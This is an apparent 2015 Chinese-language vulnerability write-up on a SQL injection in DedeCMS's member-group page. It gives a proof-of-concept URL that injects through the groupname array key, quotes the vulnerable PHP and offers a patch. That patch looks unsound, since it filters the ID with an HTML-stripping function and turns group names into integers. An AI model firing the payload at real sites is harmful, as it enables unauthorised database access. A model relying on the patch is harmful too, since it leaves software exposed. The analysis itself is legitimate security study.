dedecms /member/myfriend_group.php SQL Injection Vul

Andrew.Hann發表於2015-05-21

catalog

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

Dedecms會員中心注入漏洞

Relevant Link

http://exp.03sec.com/dedecms-%E4%BC%9A%E5%91%98%E4%B8%AD%E5%BF%83%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E10.shtml


2. 漏洞觸發條件

1. 先開啟: http://127.0.0.1/dedecms5.7/member/myfriend_group.php
2. 隨便新增一個分組: group
//檢視原始碼裡groupname[]中的值,可以發現,這是一個基於鍵值key的盲注,因為沒有返回,那麼判斷是否滿足條件就看是否update了原來的資料
3. http://127.0.0.1/dedecms5.7/member/myfriend_group.php?dopost=save&groupname[2' or @`'` and (select 1)%3D1 and '1]=12222
//如果(select 1)=1的話 那個groupname就會被改成12222,上面的2改成你的groupname的ID


3. 漏洞影響範圍
4. 漏洞程式碼分析

/member/myfriend_group.php

elseif ($dopost == 'save')
{ 
    if(isset($mtypeidarr) && is_array($mtypeidarr)) 
    { 
        $delids = '0'; 
        $mtypeidarr = array_filter($mtypeidarr, 'is_numeric'); 
        foreach($mtypeidarr as $delid) 
        { 
            delids .= ','.$delid; 
            unset($groupname[$delid]); 
        } 
        $query = "DELETE FROM `#@__member_group` WHERE id in ($delids) AND  

        mid='$cfg_ml->M_ID'"; 
        $dsql->ExecNoneQuery($query); 
        $sql="SELECT id FROM `#@__member_friends` WHERE groupid in  

        ($delids) AND mid='$cfg_ml->M_ID'"; 
        $db->SetQuery($sql); 
        $db->Execute(); 
        while($row = $db->GetArray()) 
        { 
            $query2 = "UPDATE `#@__member_friends` SET groupid='1' WHERE id='{$row['id']}' AND mid='$cfg_ml->M_ID'"; 
            $dsql->ExecNoneQuery($query2); 
        } 
    } 
    //鍵值$key注入
    foreach ($groupname as $id => $name)
    { 
        $name = HtmlReplace($name); 
        $query = "UPDATE `#@__member_group` SET groupname='$name' WHERE id='$id' AND mid='$cfg_ml->M_ID'"; 
        echo $query; 
        $dsql->ExecuteNoneQuery($query); 
    } 
    ShowMsg('分組修改完成(刪除分組中的會員會轉移到預設分組中)','myfriend_group.php');
}

Relevant Link

http://www.wooyun.org/bugs/wooyun-2014-048923


5. 防禦方法

/member/myfriend_group.php

foreach ($groupname as $id => $name)
{
    $name = intval($name);
    /* 對$id進行過濾 */
    $id = HtmlReplace($id);
    /* */
    $query = "UPDATE `#@__member_group` SET groupname='$name' WHERE id='$id' AND mid='$cfg_ml->M_ID'";
    $dsql->ExecuteNoneQuery($query);
}


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

相關文章